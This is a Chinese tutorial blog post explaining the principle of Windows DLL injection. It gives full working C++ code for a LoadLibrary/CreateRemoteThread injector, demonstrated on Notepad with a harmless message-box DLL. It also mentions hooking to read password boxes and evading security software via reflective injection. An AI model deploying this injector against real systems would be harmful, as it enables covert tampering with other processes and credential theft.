【网络杂烩 ---> 网络安全】DLL 注入 --- c/c++ 代码实现(超 · 详细)

news2024/9/29 5:34:26

麻了,之前写的博客全是收藏,没人点赞,来点赞行不行!

GitHub同步更新(已分类):Data_Structure_And_Algorithm-Review

公众号:URLeisure 的复习仓库
公众号二维码见文末

以下是本篇文章正文内容,下面案例可供参考。


写在开头:感谢好友 ‘樱桃破’ 的不懈讲解!

个人水平有限,如有错误还请各位不吝赐教,在评论区指出错误或私信错误,感谢。

一、DLL 注入概述

  • DLL 注入(英语:DLL injection)是一种涉及计算机信息安全的特殊编程技术。

  • 它可以强行使一个 进程 加载某个 动态链接库 以在其私有地址空间内运行指定 代码(往往是恶意代码)。

  • DLL 注入 的常见手段是用外部 DLL 库覆盖一个程序原先的 DLL 库,目的是实现该程序的作者未预期的结果。

  • 比如,注入的代码可以 挂钩(Hook) 系统消息或系统调用,以达到读取密码框的内容等危险目的,而一般编程手段无法达成这些目的。

  • 能将任意代码注入任意进程的程序被称为 DLL 注入器(DLL injector)

二、DLL 注入原理

  • Windows 操作系统中,每个进程都有自己 独立的 4G 虚拟内存空间 (保护模式),当程序真正使用时,操作系统才会分配对应的物理内存。

  • 也就是 不同进程 有着自己 独立的地址空间

  • 例如,对进程 A 中地址 0x1000000 处的数据进行修改,并不会改变进程 B 中地址 0x1000000 处的数据,甚至进程 B 中可能不存在此地址。

  • 由于不同进程的地址空间相互独立(保护模式),我们很难编写能够与其它进程通信或控制其它进程的程序。

  • DLL 注入即是,存在进程 A、B,使进程 A 中的 dll 文件强行在进程 B 中加载,此时进程 A 的 dll 文件就进入了进程 B 的地址空间,并使进程 B 执行 dll 文件中的代码。

  • 由于 dll 文件由恶意程序开发者设计,因此程序开发者可对程序 B(目标进程)进行自定义修改。
    在这里插入图片描述

三、DLL 注入过程

1. 生成 DLL 文件

  • 创建 dll 项目 ----> 修改 dllmain.cpp ----> 生成解决方案(dll 文件)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "stdlib.h"
#include <iostream>

using namespace std;

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)

{
	switch (ul_reason_for_call){

		case DLL_PROCESS_ATTACH: {
			// 当DLL被进程 <<第一次>> 调用时,导致DllMain函数被调用,
			HWND hwnd = GetActiveWindow();
			MessageBox(hwnd, L"DLL已进入目标进程。", L"信息", MB_ICONINFORMATION); //弹出一个模态对话框
		}
	}
	return TRUE;
}

2. 捕获目标进程

  • 创建 c++ 项目 ----> 打开目标进程(要注入的进程)----> 获取目标进程 id(pid)
//我们注入记事本
system("start %windir%\\system32\\notepad.exe");//打开
/**
*info ---> 存放快照进程信息的一个结构体
*processName ---> 进程名
* 通过获取系统快照,得到进程列表,通过进程名,遍历进程列表得到 pid
*/
BOOL getProcess32Info(PROCESSENTRY32* info, const TCHAR processName[]){
    HANDLE handle; 
    handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//获得系统快照句柄
    
    info->dwSize = sizeof(PROCESSENTRY32);

    Process32First(handle, info);//从快照中获取进程列表
    
    while (Process32Next(handle, info) != FALSE){
        if (wcscmp(processName, info->szExeFile) == 0){
            return TRUE;//找到了
        }
    }
    return FALSE;
}

3. 在目标进程内分配内存

  • 通过 pid 得到进程句柄并获得最高权限 ----> 计算所需空间大小 ----> 对目标进程分配内存
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, pid);//返回指定进程的打开句柄,并获得此进程最高权限
if (hProc == 0) return -1;

int pathSize = (wcslen(DllFullPath) + 1) * sizeof(wchar_t);//DllFullPath ---> dll 文件路径 计算所需空间大小

LPVOID buffer = VirtualAllocEx(hProc, 0, pathSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请内存
if (buffer == 0) return -2;

4. 将 DLL 文件添加到目标进程的内存空间

if (!WriteProcessMemory(hProc, buffer, DllFullPath, pathSize, NULL)) return -3;//并判断是否成功

5. 控制进程运行 DLL 文件

  • 在目标进程中的开一个线程调用 LoadLibrary() 函数来载入我们想要的DLL 文件程序。
//调用Kernel32.dll中的LoadLibraryW方法用以加载DLL文件
LPVOID pFunc = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryW");

//创建一个在另一个进程的虚拟地址空间中运行的线程
CreateRemoteThread(hProc, 0, 0, (LPTHREAD_START_ROUTINE)pFunc, buffer, 0, 0);

四、完整代码

dllmain.cpp(示例):

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "stdlib.h"
#include <iostream>

using namespace std;

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)

{
	switch (ul_reason_for_call) {

		case DLL_PROCESS_ATTACH: {
			// 当DLL被进程 <<第一次>> 调用时,导致DllMain函数被调用,
			HWND hwnd = GetActiveWindow();
			MessageBox(hwnd, L"DLL已进入目标进程。", L"信息", MB_ICONINFORMATION); //弹出一个模态对话框
		}
	}
	return TRUE;
}

注入器代码(示例):

#include <windows.h>
#include <iostream>
#include <Tlhelp32.h>
#include <stdio.h>
#include <tchar.h>

using namespace std;

BOOL getProcess32Info(PROCESSENTRY32 *info, const TCHAR processName[]) {
    HANDLE handle;
    handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    info->dwSize = sizeof(PROCESSENTRY32);

    Process32First(handle, info);


    while (Process32Next(handle, info) != FALSE) {
        if (wcscmp(processName, info->szExeFile) == 0) {
            return TRUE;
        }
    }
    return FALSE;
}

int InjectDLL(const wchar_t *DllFullPath, const DWORD pid) {

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    if (hProc == 0) return -1;

    int pathSize = (wcslen(DllFullPath) + 1) * sizeof(wchar_t);

    LPVOID buffer = VirtualAllocEx(hProc, 0, pathSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (buffer == 0) return -2;

    if (!WriteProcessMemory(hProc, buffer, DllFullPath, pathSize, NULL)) return -3;

    LPVOID pFunc = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryW");

    CreateRemoteThread(hProc, 0, 0, (LPTHREAD_START_ROUTINE) pFunc, buffer, 0, 0);
}

int main() {
    system("start %windir%\\system32\\notepad.exe");

    PROCESSENTRY32 info;
    if (getProcess32Info(&info, L"notepad.exe")) {
        InjectDLL(L"E:\\Dll1.dll", info.th32ProcessID);
    } else {
        cout << "查找失败" << endl;
    }
    return 0;
}

在这里插入图片描述

五、总结

  • 本次 DLL 注入取巧用了 LoadLibrary

  • 一些安全软件对 LoadLibrary 这样的 API 十分敏感,且 DLL 文件本身也容易被检测并被删除

  • 要解决这些问题,就需要用到 反射型 DLL 注入(没做)。


关注公众号,感受不同的阅读体验

请添加图片描述


下期预告: 基于数据报套接字的并发服务器的设计与实现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/55556.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

我国火箭回收历程介绍

引言 火箭回收技术对于节约火箭发射成本具有重要意义&#xff0c;中国的火箭回收技术研发步履不停&#xff0c;本文将总结中国的可重复使用发动机和垂直回收火箭发展现状&#xff0c;数据更新时间为2022年11月11日。如需了解火箭回收相关概念. 提示&#xff1a;本文图片和表格…

Loss模块

导入包 from utils import cos_sim, euclidean_dist 方法 EucSoftmax 变量 “”"Calculate cos distance loss. Args:protos: protos vector in now episode (**class_size, hidden_size**)querys: queres vector to classify **(querys_len, hidden_size)**querys_y…

深浅拷贝的区别?如何实现一个深拷贝?

一.数据类型存储 js中存在两大数据类型&#xff1a; 基本数据类型&#xff1a;保存在栈内存中&#xff1b; 引用数据类型&#xff1a;保存在堆内存中&#xff0c;引用数据类型的变量是一个指向堆内存中实际对象的引用&#xff0c;存在栈中。 二.浅拷贝 浅拷贝&#xff1a;…

CRM系统的功能有哪些?

**CRM系统**的功能有&#xff1a;1、联系人管理&#xff1b;2、沟通跟踪&#xff1b;3、潜客管理&#xff1b;4、电子邮件集成&#xff1b;5、文档管理&#xff1b;6、报价/提案管理&#xff1b;7、商机管理&#xff1b;8、工作流自动化&#xff1b;9、报表/分析&#xff1b;10…

利用Seagate service获得system shell

这是挖掘 CVE-2022-40286 漏洞的记录。 闲来无事&#xff0c;我上网随便找了一个驱动来进行测试。我想找一个知名公司的产品&#xff0c;但是又不能是太偏太难懂的东西。 我最先发现了一个叫"Seagate Media Sync"的软件&#xff0c;这是一个将文件复制到希捷无线硬…

SR-MPLS技术基础讲解

目录 SR-MPLS基础概念 使用Segment Routeing MPLS技术的优点 Segment Routeing MPLS的基本原理 SRGB Segment ID Bind SID 粘连标签 OSPF对于SR-MPLS的扩展 OSPF对邻接SID做了细分 10类LSA定义的TLV类型 10类LSA定义的TLV的报文格式 ISIS对SR-MPLS的扩展…

pyinstaller瘦身指南

目录说明无优化直接打包优化&#xff1a;创建专用虚拟环境原因分析和总结说明 之前写了一个自动化办公的python脚本&#xff0c;按需求打包exe。经过不断优化打包过程&#xff0c;把26.1MB的文件变成了9.5MB的文件。 打包工具pyinstaller。 安装&#xff1a; pip install pyi…

Ubuntu1804里进行KITTI数据集可视化操作

需要做的准备工作 1、需要提前安装kitti2bag(终端输入即可安装) pip install kitti2bag 如果没有pip,按照Ubuntu给的提示先安装pip 2、下载kitti数据集(下载圈出的两部分) kitti数据集的百度网盘链接 kitti数据集链接_FYY2LHH的博客-CSDN博客 文件存放位置如图 上图…

Android Material Design之Chip, ChipGroup(十二)

效果图 资源引入 implementation com.google.android.material:material:1.4.0属性 Chip 属性描述android:id控件idstyle样式属性系统默认4种 1.style/Widget.MaterialComponents.Chip.Entry 2.style/Widget.MaterialComponents.Chip.Choice3.style/Widget.MaterialCompon…

集团资金管理BI分析的三个关键节点

集团资金管理方面的商业智能BI分析怎么做&#xff1f;从财务角度来说&#xff0c;企业的管理是以财务管理为中心&#xff0c;财务管理以资金管理为中心&#xff0c;资金管理以现金流量为中心。围绕资金管理至少需要考虑三个方面的内容&#xff1a;安全、收益和效率。 在商业智…

【JavaEE】JavaScript(WebAPI)

努力经营当下&#xff0c;直至未来明朗&#xff01; 文章目录前言一、前置知识二、【DOM】【获取元素】【事件】【操作元素】1.【获取/修改元素的内容】2.【获取/修改元素属性】3.【获取/修改 表单元素属性】4.【获取/修改样式属性】【操作节点】1.【新增节点】2.【删除节点】&…

【2-3个月左右录用】物联网、无线通信类、人工智能、传感器、人机交互等领域必投快刊,进展顺利,12月截稿

【期刊简介】3.0-4.0&#xff0c;JCR2/3区&#xff0c;中科院4区 【检索情况】SCI在检&#xff0c;正刊 【征稿领域】安全和隐私雾云辅助物联网网络 【参考周期】2-3个月左右 【截稿日期】2022年12月31日 【期刊简介】2.0-3.0&#xff0c;JCR3区&#xff0c;中科院4区 【检索情…

【白嫖】如何低价续费服务器

背景 现在各大云服务商的学生价服务器都已经关闭了&#xff0c;华为云、阿里云、百度云&#xff0c;以前都有学生价服务器&#xff0c;一年只要99。现在我找半天都没找到入口&#xff0c;而原价的一年得500起步。。。 但是&#xff01;&#xff01;&#xff01;腾讯虽然也取消了…

【系统性学习】Linux Shell易忘重点整理

本文主要基于《实用Linux Shell编程》总结&#xff0c;并加入一些网上查询资料和博主自己的推断。 其中命令相关的&#xff0c;已抽取出来在另一篇系统性学习】Linux Shell常用命令中&#xff0c;可以一起使用。 文章目录一、基础知识二、命令与环境三、变量和数组四、条件流程…

Linux多线程C++版(八) 线程同步方式-----条件变量

目录1.条件变量基本概念2.条件变量创建和销毁3.条件变量等待操作4.条件变量通知(唤醒)操作5.代码了解线程同步6.线程的状态转换7.代码改进--从一对一到一对多1.条件变量基本概念 互斥锁的缺点是它只有两种状态&#xff1a;锁定和非锁定条件变量通过允许线程阻塞和等待另一个线…

Kamiya丨Kamiya艾美捷抗FLAG多克隆说明书

Kamiya艾美捷抗FLAG多克隆化学性质&#xff1a; 程序&#xff1a;用FLAG肽免疫家兔与KLH偶联。多次免疫后在弗氏佐剂中收集血清使用固定在固相上的肽。 规范&#xff1a; 使用氨基末端分析抗体Met FLAG BAP、氨基末端FLAG-BAP和羧基末端FLAG-BAP融合蛋白和Invitrogen Posite…

跳槽,从这一个坑,跳进另外一个坑

软件测试员跳槽有一个奇怪的现象&#xff1a;那些跳槽的测试员们&#xff0c;总是从一个坑&#xff0c;跳进另一个坑中&#xff0c;无论怎么折腾&#xff0c;也没能拿到更好的offer&#xff0c;更别说&#xff0c;薪资实现爆炸式增长&#xff0c;自身价值得到升华~ 在如今经验…

【Web安全】注入攻击

目录 前言 1、注入攻击 1.1 SQL注入 1.2 数据库攻击技巧 1.2.1 常见的攻击技巧 1.2.2 命令执行 1.2.3 攻击存储过程 1.2.4 编码问题 1.2.5 SQL Column Truncation 1.3 正确防御SQL注入 1.4 其他注入攻击 1.4.1 XML注入 1.4.2 代码注入 1.4.3 CRLF注入 前言 年…

Kotlin高仿微信-第53篇-添加好友

Kotlin高仿微信-项目实践58篇详细讲解了各个功能点&#xff0c;包括&#xff1a;注册、登录、主页、单聊(文本、表情、语音、图片、小视频、视频通话、语音通话、红包、转账)、群聊、个人信息、朋友圈、支付服务、扫一扫、搜索好友、添加好友、开通VIP等众多功能。 Kotlin高仿…

数商云SRM系统询比价有何优势?供应商平台助力汽车零部件企业快速查找供应商

随着中国汽车行业的高速发展、汽车保有量的增加以及汽车零部件市场的扩大&#xff0c;我国汽车零部件行业得到了迅速发展&#xff0c;增长速度整体高于我国整车行业。数据显示&#xff0c;我国汽车零部件的销售收入从2016年3.46万亿元增长至2020年的4.57万亿元&#xff0c;年均…